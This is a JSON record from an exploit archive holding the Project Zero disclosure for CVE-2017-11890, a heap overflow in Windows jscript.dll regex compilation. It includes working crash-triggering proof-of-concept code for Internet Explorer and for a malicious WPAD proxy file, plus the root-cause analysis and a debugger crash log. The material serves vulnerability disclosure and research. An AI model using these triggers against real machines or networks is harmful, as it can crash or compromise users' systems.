{"exploit":{"id":"EDB-43369","name":"Microsoft Windows - 'jscript!RegExpComp::Compile' Heap Overflow Through IE or Local Network via WPAD","description":"Microsoft Windows - 'jscript!RegExpComp::Compile' Heap Overflow Through IE or Local Network via WPAD","cves":["CVE-2017-11890"],"author":"Google Security Research","published":"2017-12-19","platform":"windows","type":"dos","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43369","path":"exploits/windows/dos/43369.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43369.html","vulnerabilities":[{"id":"CVE-2017-11890","state":"PUBLISHED","title":null,"titleSource":null,"description":"Microsoft Windows 7 SP1, Windows Server 2008 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allow an attacker to execute arbitrary code in the context of the current user, due to how Internet Explorer handles objects in memory, aka \"Scripting Engine Memory Corruption Vulnerability\". This CVE ID is unique from CVE-2017-11886, CVE-2017-11889, CVE-2017-11893, CVE-2017-11894, CVE-2017-11895, CVE-2017-11901, CVE-2017-11903, CVE-2017-11905, CVE-2017-11907, CVE-2017-11908, CVE-2017-11909, CVE-2017-11910, CVE-2017-11911, CVE-2017-11912, CVE-2017-11913, CVE-2017-11914, CVE-2017-11916, CVE-2017-11918, and CVE-2017-11930.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-11890","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-11890"},"updatedAt":"2024-09-17T04:09:42.061Z","retrievedAt":"2026-11-26T16:06:48.656Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43369.png?v=2","url":"https://exploitbin.com/exploits/EDB-43369","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43369/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43369/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<!--\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1369\n\nThere is a heap overflow in jscript.dll when compiling a regex. This issue could potentially be exploited through multiple vectors:\n\n - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service.\n\n - The issue can also be exploited by opening a malicious web page in Internet Explorer. In this case, due to the sizes involved, a 64-bit tab process would most likely be required to trigger the issue. This is going to be the case for example when running IE in the Enhanced Protected Mode.\n\nThe issue has been verified on 64-bit Win7 and 64-bit Win10 with the most recent patches applied.\n\nPoC for Internet Explorer:\n\n============================================\n-->\n\n<!-- saved from url=(0014)about:internet -->\n<html>\n<head>\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=8\"></meta>\n</head>\n<body>\n<script language=\"Jscript.Encode\">\n\nvar s = 'a';\nfor(var i=0;i<28;i++) {\n  s = s+s;\n}\ns = s+'[a-z]'+s;\n\nr = new RegExp();\nr.compile(s);\n\n</script>\n</body>\n</html>\n\n<!--\n============================================\n\nPoC for WPAD:\n\n============================================\n\nfunction FindProxyForURL(url, host) {\n\n  var s = 'a';\n  for(var i=0;i<28;i++) {\n    s = s+s;\n  }\n  s = s+'[a-z]'+s;\n\n  r = new RegExp();\n  r.compile(s);\n\n  return \"DIRECT\";\n}\n\n===========================================\n\nTechnical details:\n\nThe issue is in RegExpComp::Compile (and several functions called from RegExpComp::Compile). RegExpComp::Compile is responsible for compiling a RegExp object. It maintains a buffer with the compilation result and extends it when necessary. Extending the buffer is handled using RegExpBase::EnsureSpace which looks (approximately) like:\n\nvoid RegExpBase::EnsureSpace(int desired_size) {\n  if(desired_size > buffer_size) {\n    if(2 * desired_size < desired_size) {\n      //throw an exception\n    }\n    int new_size = 2 * desired_size;\n    char * new_buffer = realloc(buffer, new_size);\n    if(!new_buffer) {\n      //throw an exception\n    }\n    buffer = new_buffer;\n    buffer_size = new_size;\n  }\n}\n\nNote that desired_size is a signed 32-bit integer. RegExpBase::EnsureSpace has an integer overflow check, however if an overflow happens in the caller (a caller must add the size which it wants to append to the existing content size) and desired_size becomes negative, RegExpBase::EnsureSpace would simply return because of the first if() statement without attempting to extend the buffer.\n\nIndeed, integer overflows can happen in the several callers of RegExpBase::EnsureSpace. The one being triggered in the PoC is in RegExpComp::Compile, when it attempts to append the raw input string to the buffer towards the end of the compilation process.\n\nDebug log (from IE, but it looks similar in the WPAD service):\n\n============================================\n\n(b90.698): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\nmsvcrt!memcpy+0x1d9:\n000007fe`fefe123d 668901          mov     word ptr [rcx],ax ds:00000002`5bb60fe0=????\n\n0:012> r\nrax=0000000040000061 rbx=00000000042b7ea0 rcx=000000025bb60fe0\nrdx=fffffffdfa4b0010 rsi=00000000042b5f48 rdi=000000004000000a\nrip=000007fefefe123d rsp=0000000012399ef8 rbp=0000000012399f28\n r8=0000000040000008  r9=0000000000000000 r10=6100610061006100\nr11=000000021bb60fd8 r12=0000000016010fe8 r13=000007feebc91670\nr14=0000000020000001 r15=0000000000000000\niopl=0         nv up ei pl nz na pe nc\ncs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202\nmsvcrt!memcpy+0x1d9:\n000007fe`fefe123d 668901          mov     word ptr [rcx],ax ds:00000002`5bb60fe0=????\n\n0:012> k\n # Child-SP          RetAddr           Call Site\n00 00000000`12399ef8 000007fe`ebc88bb3 msvcrt!memcpy+0x1d9\n01 00000000`12399f00 000007fe`ebcfacc2 jscript!RegExpComp::Compile+0x1b7\n02 00000000`12399f60 000007fe`ebce2118 jscript!RegExpComp::CompileDynamic+0x62\n03 00000000`12399fa0 000007fe`ebce3310 jscript!RegExpObj::Compile+0x32c\n04 00000000`1239a0f0 000007fe`ebc7c2ec jscript!JsRegExpCompile+0x70\n05 00000000`1239a140 000007fe`ebc7a9fe jscript!NatFncObj::Call+0x138\n06 00000000`1239a1f0 000007fe`ebc7b234 jscript!NameTbl::InvokeInternal+0x3f8\n07 00000000`1239a310 000007fe`ebc79852 jscript!VAR::InvokeByName+0x81c\n08 00000000`1239a520 000007fe`ebc79929 jscript!VAR::InvokeDispName+0x72\n09 00000000`1239a5a0 000007fe`ebc724b8 jscript!VAR::InvokeByDispID+0x1229\n0a 00000000`1239a5f0 000007fe`ebc78ec2 jscript!CScriptRuntime::Run+0x5a6\n0b 00000000`1239b3f0 000007fe`ebc78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162\n0c 00000000`1239b600 000007fe`ebc78b95 jscript!ScrFncObj::Call+0xb7\n0d 00000000`1239b6a0 000007fe`ebc7e6c0 jscript!CSession::Execute+0x19e\n0e 00000000`1239b770 000007fe`ebc870e7 jscript!COleScript::ExecutePendingScripts+0x17a\n0f 00000000`1239b840 000007fe`ebc868d6 jscript!COleScript::ParseScriptTextCore+0x267\n10 00000000`1239b930 000007fe`ecdf5251 jscript!COleScript::ParseScriptText+0x56\n11 00000000`1239b990 000007fe`ed57b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1\n12 00000000`1239ba10 000007fe`ecdf6256 MSHTML!CScriptCollection::ParseScriptText+0x37f\n13 00000000`1239baf0 000007fe`ecdf5c8e MSHTML!CScriptData::CommitCode+0x3d9\n14 00000000`1239bcc0 000007fe`ecdf5a11 MSHTML!CScriptData::Execute+0x283\n15 00000000`1239bd80 000007fe`ed5b46fb MSHTML!CHtmScriptParseCtx::Execute+0x101\n16 00000000`1239bdc0 000007fe`ece98a5b MSHTML!CHtmParseBase::Execute+0x235\n17 00000000`1239be60 000007fe`ecd72e39 MSHTML!CHtmPost::Broadcast+0x90\n18 00000000`1239bea0 000007fe`ecdccaef MSHTML!CHtmPost::Exec+0x4bb\n19 00000000`1239c0b0 000007fe`ecdcca40 MSHTML!CHtmPost::Run+0x3f\n1a 00000000`1239c0e0 000007fe`ecdcda12 MSHTML!PostManExecute+0x70\n1b 00000000`1239c160 000007fe`ecdd0843 MSHTML!PostManResume+0xa1\n1c 00000000`1239c1a0 000007fe`ecdb6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43\n1d 00000000`1239c1f0 000007fe`ed5e4f78 MSHTML!CDwnChan::OnMethodCall+0x41\n1e 00000000`1239c220 000007fe`eccd9d75 MSHTML!GlobalWndOnMethodCall+0x240\n1f 00000000`1239c2c0 00000000`77229bbd MSHTML!GlobalWndProc+0x150\n20 00000000`1239c340 00000000`772298c2 USER32!UserCallWinProcCheckWow+0x1ad\n21 00000000`1239c400 000007fe`f29d4a87 USER32!DispatchMessageWorker+0x3b5\n22 00000000`1239c480 000007fe`f29dbabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555\n23 00000000`1239f700 000007fe`fd73572f IEFRAME!LCIETab_ThreadProc+0x3a3\n24 00000000`1239f830 000007fe`ee62925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f\n25 00000000`1239f860 00000000`773259cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f\n26 00000000`1239f8b0 00000000`7745a561 kernel32!BaseThreadInitThunk+0xd\n27 00000000`1239f8e0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d\n\n============================================\n-->","sha256":"ccd0f2793e3b852bc496d6c3b800cb0b00a33bce2bb4f6963a6910aeede1cbe7","bytes":7194,"fetchedAt":"2026-11-26T16:06:45.018Z","encoding":"utf-8 (display only; download retains original bytes)"}